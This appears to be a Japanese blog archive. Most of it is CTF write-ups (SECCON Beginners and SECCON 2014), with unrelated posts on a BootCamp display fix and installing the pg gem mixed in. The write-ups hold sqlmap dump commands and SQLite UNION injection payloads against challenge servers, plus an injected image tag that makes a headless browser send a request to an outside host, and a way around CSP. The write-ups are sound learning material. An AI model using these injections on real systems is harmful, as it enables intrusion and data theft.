Misc

[Warmup] plain mail

説明

2通分のメールの pcapファイル
いわゆる「zipのパスワードは別送信します」形式

解法
  • なんてことはないので 単純に添付ファイルを抜き出して base64 decode した上で 別のメールに書いてあるパスワードで展開すればOK

[Warmup] Welcome

そのまま IRCで接続すると topic に書いてある

てけいさんえくすとりーむず

説明

nc して見ると 四則演算な問題が出される 300秒以内に100問解けば OK

解法
  • syntax は簡単で 以下のような感じなので pythontcp接続 -> ' ' で split -> 先頭3つをevalすればいい

1 + 2 =
5 * 10 =
6 - 5 =

Find the messages

説明

disk.img が渡される

解法
  • 3つのファイルを見て flag を足す必要がある
  • foremost で 単純に disk.img を展開したら pdf が取れた これと
  • あとはペアの相手が disk.img をマウントできたので txt と png のそれぞれの文字をつなげればOK

Web

[Warmup] Greeting

説明

ユーザー名を入れるフォームと php のコードが書いてある

解法

どうやら admin でログインできれば良さそう

  • $usernameがadminなら OK
  • $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
  • なので cookie を適当にやれば... と思ったけどそもそ
  • setcookie("name", $_POST['name'], time()+3600); してるので
  • フォームに admin と入れる → 偽管理者と怒られるがもう cookie に set してあるので そのままリロードすればOK

Gimme your comment

説明

件名と本文を登録すると 次の瞬間に ヘッドレスブラウザが動いて 定型文を post するシステム

解法

このヘッドレスブラウザ の UA が flag

  • なので ヘッドレスブラウザ から 適当な ホストへ リクエストが飛べばいい
  • EC2か何かのURLを <img src=http://hogehoge> とかして 本文に書き込めばOK

SECCON Goods

説明

在庫一覧が表示されるページ

解法

sqlmap.py -u http://goods.chall.beginners.seccon.jp/items.php\?minstock\=5 --dbs
sqlmap.py -u http://goods.chall.beginners.seccon.jp/items.php\?minstock\=5 --tables
sqlmap.py -u http://goods.chall.beginners.seccon.jp/items.php\?minstock\=5 -T flag --dump

Gimme your comment REVENGE

説明

Gimme your comment と大体同じだけど今度は
CSP https://developer.mozilla.org/ja/docs/Web/HTTP/CSP で対策されている

  • Content-Security-Policy: default-src 'self'
解法
  • headless ブラウザで適当なところにアクセスさせたいだけなので
  • meta タグで redirect すれば OK

Reversing

[Warmup] Simple Auth

説明

ELFなプログラム

解法

単純に入力値を比較してるので IDA Freeとか Radare2 でのぞけば書いてある

Activation

説明

.NETなプログラム

  • 実行すると PCのCDドライブの存在をなんだかんだしたりする
  • ドライブのチェックが終わると ActivationCode を入力しろと言われる
  • 間違っていると終了してしまう
解法

これはdnSpy 使えば楽勝

  • ドライブの存在チェックは flag という変数に 一旦答えを格納するので それを書き換える
  • ActivationCode のチェックは AesCryptoServiceProvider で 暗号化した結果が 以下と同じかどうか
  • "E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5"
  • あとは処理を追って KeyとIVを見つけたら 復号化すればいいだけ
  • https://gist.github.com/lis2501/cf725011f99ec15aec42923b6919dddf

OSX でBootCamp時にゲームをフルスクリーンにすると画面が乱れる話

タイトルのとおりですが手元の環境だとOpenGLを利用してる物だとフルスクリーン時以下のように画面が乱れます。

Appleのサポートの記事の通り

高 DPI 設定では画面のスケーリングを無効にする

で無事綺麗に全画面表示できるようになりました。

留意点とすれば、Steamで買ったゲームなどはローカルファイル閲覧 もしくは
起動中にタスクバーにあるゲームのアイコン右クリック→ゲーム名右クリック→プロパティみたいな感じで直接exeファイルのプロパティを開いて設定する必要があるぐらいですね。

MacBook Pro (Retina, Mid 2012) 以降:Boot Camp を使って Windows 7 上でフルスクリーンのゲームをすると、カーソルに問題が発生する

MacBook Pro (Retina, Mid 2012) 以降では、Boot Camp を使って Windows 7 上でフルスクリーンのゲームをすると、マウスまたはトラックパッドのクリックが正常に反応しないように見える場合があります。
次の手順に従って、高 DPI 設定での画面のスケーリングを無効にします。

  1. ゲームのアイコンを右クリックします。これにより、プロパティダイアログボックスが表示されます。
  2. 「互換性」タブをクリックします。
  3. 「高 DPI 設定では画面のスケーリングを無効にする」のチェックボックスにチェックを入れます。
  4. 「OK」をクリックします。

http://support.apple.com/ja-jp/HT203639 MacBook Pro (Retina, Mid 2012) 以降 Boot Camp を使って Windows 7 上でフルスクリーンのゲームをすると、カーソルに問題が発生する

SECCON2014 write-up

箱庭SQLi

dotbundle???みたいな謎な感じだったけどDB.dllとかなんか同梱してるし
sqliteとかそういう系かな〜と当たりをつけてそのまま

とりあえず5行だとUNIONしてもエラーでない

' and 1=0 UNION ALL SELECT null,null,null,null,null --
' and 1=0 UNION ALL SELECT type,name,sql,null,null FROM sqlite_master --

sqlite_masterからsql取り出して見てみるとSECCONってテーブルがあった

' and 1=0 UNION ALL SELECT FLAG,null,null,null,null FROM SECCON--

FLAG{EnjoySQLi}

decode me

FRPPBA 2014 &#211;&#250;&#234;&#225;&#225;&#242;&#211;&#253;&#211;°&#211;&#249;&#211;&#228;&#211;&#175;&#211;&#226;&#211;&#196;&#211;&#250;&#211;&#240;&#211;&#254;&#208;&#210;
ebg13/47 &#211;&#250;&#228;&#211;&#248;&#166;&#211;&#222;&#211;÷&#211;&#254;&#253;&#221;&#239;&#161;&#211;&#246;&#211;&#232;&#208;&#210;
&#210;&#191;&#210;&#188;&#210;&#183;&#212;&#226;&#212;&#175;&#212;&#196;&#212;&#248;&#211;&#246;&#227;&#249;&#242;&#224;&#211;&#250;&#212;&#246;&#212;&#226;&#208;&#235;&#212;&#248;&#211;&#246;&#211;&#220;&#211;&#188;&#211;&#226;&#211;÷&#211;&#250;&#211;&#179;&#228;&#211;&#248;&#166;&#211;&#220;&#211;&#175;&#211;&#230;&#211;&#238;&#211;&#218;&#208;&#216;
&#211;÷&#211;&#211;&#211;&#213;&#211;&#192;&#211;&#224;&#211;&#246;&#208;&#209;&#211;&#217;&#211;&#178;&#211;&#246;&#211;÷&#211;&#213;&#211;&#227;&#211;&#229;&#211;&#211;&#211;&#175;&#211;&#232;&#208;&#217;
&#212;&#166;&#212;&#186;&#212;&#223;&#211;&#254;÷&#237;&#226;¢&#224;¢&#238;&#197;&#249;&#231;&#234;&#203;&#211;&#250;&#249;¢&#227;&#232;&#211;&#230;&#211;&#245;&#211;&#218;&#211;&#186;&#245;&#207;&#253;&#254;&#211;&#230;&#211;&#245;&#211;&#222;&#211;&#239;&#211;&#228;&#211;&#211;&#208;&#210;
&#210;&#245;&#210;&#251;&#210;&#240;&#210;&#246;&#208;&#161;&#210;÷&#210;&#178;&#210;&#199;&#210;¶&#208;&#208;&#210;&#183;&#210;&#198;&#210;&#191;&#208;&#208;&#210;&#164;&#210;&#244;&#210;&#242;&#210;&#242;&#210;&#254;&#210;&#253;&#210;&#225;&#210;&#223;&#210;&#224;&#210;&#227;&#208;¢

FRPPBAでぐぐるとrot13っぽい
rot13すると

rot13/47

とかでるので

nkf -r encoded.txt 
SECCON 2014 に参加のみなさまこんにちは。
rot13/47 に気付くとは流石です。
nkfコマンドで簡単にデコードできることにも気付きましたか?
というわけで、おめでとうございます!
フラグは半角英数文字に変換してから入力してください。
FLAG{Have fun SECCON2014}

FLAG{Have fun SECCON2014}

重ねてみよう

チームメイトが解いてたのですが、一応別の解き方のため書いておく
白い点が動くアニメーションgif
とりあえず重ねることに

convert +adjoin afterimage.gif before.gif
ls -1 before* |sort| awk -F- '{system(cmd_exec "convert -transparent black before-"$2" after-"$2);}'
cp after-0.gif marge.gif
ls -1 after-* |sort |awk '{system(cmd_exec "convert "$1" marge.gif -composite marge.gif")}'
convert marge.gif -background black -flatten  -alpha off marge.gif 
convert marge.gif -negate marge.gif
open marge.gif

1行目:gifアニメをbefore-*.gifへ分解
2行目:before-*.gifに対して黒色を透過処理したafter-*.gifを作成
3行目:after-0.gifをmarge.gifにコピー
4行目:marge.gifへafter-*.gifを一つづつ合成
5行目:このままだと黒色が透過してるので、黒色で背景を上書き
6行目:これだと白黒反転しているので元に戻す
7行目:開いたmarge.gifをQRコードリーダーで読むと
FLAG{Many dot makes a QR code}

Marvericksでpgをbundle installする方法

Herokuとか使うときにはsqliteが対応していないためpostgresqlとか使うと思うんですけどそのgem pgがうまいことmarvericksではbundle installで入らなかったのでメモ

  1. postgresをインストール

http://postgresapp.com/

  1. bundle config
bundle config build.pg --with-pg-include='/Applications/Postgres.app/Contents/Versions/9.3/include/'
  1. bundle intall
bundle install --path vendor/bundle

参考:
http://stackoverflow.com/questions/19625487/impossible-to-install-pg-gem-on-my-mac-with-mavericks
http://d.hatena.ne.jp/mallowlabs/20120806/mac_pg_gem